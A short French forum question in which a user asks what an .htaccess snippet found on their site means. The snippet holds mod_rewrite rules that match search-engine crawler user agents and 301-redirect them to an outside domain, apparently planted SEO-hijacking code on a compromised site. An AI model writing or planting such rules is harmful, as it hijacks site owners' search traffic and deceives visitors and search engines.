fichier ht access signification

Bonjour
Pourriez vous me dire ce que je viens de trouver sur un file access ? merci

Code:

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RewriteEngine On 
RewriteCond %{HTTP_USER_AGENT} ^Googlebot [OR] 
RewriteCond %{HTTP_USER_AGENT} ^GoogleGooglebot [OR] 
RewriteCond %{HTTP_USER_AGENT} ^Googlebot-Mobile [OR] 
RewriteCond %{HTTP_USER_AGENT} ^Googlebot-Image [OR] 
RewriteCond %{HTTP_USER_AGENT} ^Mediapartners-Google [OR] 
RewriteCond %{HTTP_USER_AGENT} ^Adsbot-Google [OR] 
RewriteCond %{HTTP_USER_AGENT} ^MSNBot [OR] 
RewriteCond %{HTTP_USER_AGENT} ^bingbot [OR] 
RewriteCond %{HTTP_USER_AGENT} msn [OR] 
RewriteCond %{HTTP_USER_AGENT} Google [OR] 
RewriteCond %{HTTP_USER_AGENT} bing [OR] 
RewriteCond %{HTTP_USER_AGENT} yahoo [OR] 
RewriteCond %{HTTP_USER_AGENT} ^Feedfetcher-Google 
RewriteRule ^(.*)$ http://www.superservices.fr/$1 [R=301,L]